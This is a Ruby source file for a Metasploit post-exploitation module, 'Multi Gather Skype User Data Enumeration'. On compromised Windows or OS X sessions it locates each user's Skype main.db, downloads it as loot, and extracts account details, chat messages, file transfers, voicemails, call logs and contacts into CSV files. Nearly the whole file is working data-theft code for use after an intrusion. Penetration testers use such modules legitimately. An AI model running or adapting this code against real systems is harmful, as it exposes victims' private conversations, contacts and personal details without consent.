Files
metasploit-gs/modules/post/multi/gather/skype_enum.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

319 lines
11 KiB
Ruby

##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'csv'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/osx/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
'Description' => %q{
This module will enumerate Skype account settings, contact list, call history, chat logs,
file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'win', 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
register_advanced_options(
[
# Set as an advanced option since it can only be useful in shell sessions.
OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]),
], self.class)
end
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin
require 'sqlite3'
rescue LoadError
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
return
end
if (session.platform =~ /java/) || (session.platform =~ /osx/)
# Make sure a Java Meterpreter on anything but OSX will exit
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
print_error("This session type and platform are not supported.")
return
end
# Iterate thru each user profile on as OSX System for users not in the default install
users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact
users.each do |p|
if check_skype("#{p['dir']}/Library/Application Support/", p['name'])
db_in_loot = download_db(p)
# Exit if file was not successfully downloaded
return if db_in_loot.nil?
process_db(db_in_loot,p['name'])
end
end
elsif (session.platfom =~ /win/ and session.type =~ /meter/)
# Iterate thru each user profile in a Windows System using Meterpreter Post API
grab_user_profiles().each do |p|
if check_skype(p['AppData'],p['UserName'])
db_in_loot = download_db(p)
process_db(db_in_loot,p['UserName'])
end
end
else
print_error("This session type and platform are not supported.")
end
end
# Check if Skype is installed. Returns true or false.
def check_skype(path, user)
dirs = []
if session.type =~ /meterpreter/
session.fs.dir.foreach(path) do |d|
dirs << d
end
else
dirs = cmd_exec("ls -m \"#{path}\"").split(", ")
end
dirs.each do |dir|
if dir =~ /Skype/
print_good("Skype account found for #{user}")
return true
end
end
print_error("Skype is not installed for #{user}")
return false
end
# Download file using Meterpreter functionality and returns path in loot for the file
def download_db(profile)
if session.type =~ /meterpreter/
if sysinfo['OS'] =~ /Mac OS X/
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
else
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
end
else
file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
end
file_loc = store_loot("skype.config",
"binary/db",
session,
"main.db",
"Skype Configuration database for #{profile['UserName']}"
)
file.each do |db|
if session.type =~ /meterpreter/
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
print_status("Downloading #{maindb}")
session.fs.file.download_file(file_loc,maindb)
else
print_status("Downloading #{db}")
# Giving it 1:30 minutes to download since the file could be several MB
maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT'])
if maindb.nil?
print_error("Could not download the file. Set the TIMEOUT option to a higher number.")
return
end
# Saving the content as binary so it can be used
output = ::File.open(file_loc, "wb")
maindb.each_line do |d|
output.puts(d)
end
output.close
end
print_good("Configuration database saved to #{file_loc}")
end
return file_loc
end
# Saves rows returned from a query to a given CSV file
def save_csv(data,file)
CSV.open(file, "w") do |csvwriter|
data.each do |record|
csvwriter << record
end
end
end
# Extracts the data from the DB in to a CSV file
def process_db(db_path,user)
db = SQLite3::Database.new(db_path)
# Extract information for accounts configured in Skype
print_status("Enumerating accounts")
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
datetime("timestamp","unixepoch")"registration_timestamp",
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about",
datetime("profile_timestamp","unixepoch"), "received_authrequest",
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
"verified_email", "verified_company" FROM Accounts;')
# Check if an account exists and if it does enumerate if not exit.
if user_rows.length > 1
user_info = store_loot("skype.accounts",
"text/plain",
session,
"",
"skype_accounts.csv",
"Skype User #{user} Account information from configuration database."
)
print_good("Saving account information to #{user_info}")
save_csv(user_rows,user_info)
else
print_error("No skype accounts are configured for #{user}")
return
end
# Extract chat log from the database
print_status("Extracting chat message log")
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
datetime("timestamp","unixepoch"), "body_xml",
"remote_id" FROM "Messages" WHERE type == 61;')
chat_log = store_loot("skype.chat",
"text/plain",
session,
"",
"skype_chatlog.csv",
"Skype User #{user} chat log from configuration database."
)
if cl_rows.length > 1
print_good("Saving chat log to #{chat_log}")
save_csv(cl_rows, chat_log)
else
print_error("No chat logs where found!")
end
# Extract file transfer history
print_status("Extracting file transfer history")
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
"filepath", "filename", "filesize", "bytestransferred",
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
file_transfer = store_loot("skype.filetransfer",
"text/csv",
session,
"",
"skype_filetransfer.csv",
"Skype User #{user} file transfer history."
)
# Check that we have actual file transfers to report
if ft_rows.length > 1
print_good("Saving file transfer history to #{file_transfer}")
save_csv(ft_rows, file_transfer)
else
print_error("No file transfer history was found!")
end
# Extract voicemail history
print_status("Extracting voicemail history")
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
"size", "path", "xmsg" FROM "Voicemails";')
voicemail = store_loot("skype.voicemail",
"text/csv",
session,
"",
"skype_voicemail.csv",
"Skype User #{user} voicemail history."
)
if vm_rows.length > 1
print_good("Saving voicemail history to #{voicemail}")
save_csv(vm_rows, voicemail)
else
print_error("No voicemail history was found!")
end
# Extracting call log
print_status("Extracting call log")
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
"is_incoming", "is_conference", "is_on_hold",
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
call_log = store_loot("skype.callhistory",
"text/csv",
session,
"",
"skype_callhistory.csv",
"Skype User #{user} call history."
)
if call_rows.length > 1
print_good("Saving call log to #{call_log}")
save_csv(call_rows, call_log)
else
print_error("No call log was found!")
end
# Extracting contact list
print_status("Extracting contact list")
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
"birthday", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
"main_phone", "phone_home_normalized", "phone_office_normalized",
"phone_mobile_normalized", "verified_email", "verified_company"
FROM "Contacts";')
contact_log = store_loot("skype.contactlist",
"text/csv",
session,
"",
"skype_contactlist.csv",
"Skype User #{user} contact list."
)
if ct_rows.length > 1
print_good("Saving contact list to #{contact_log}")
save_csv(ct_rows, contact_log)
end
end
end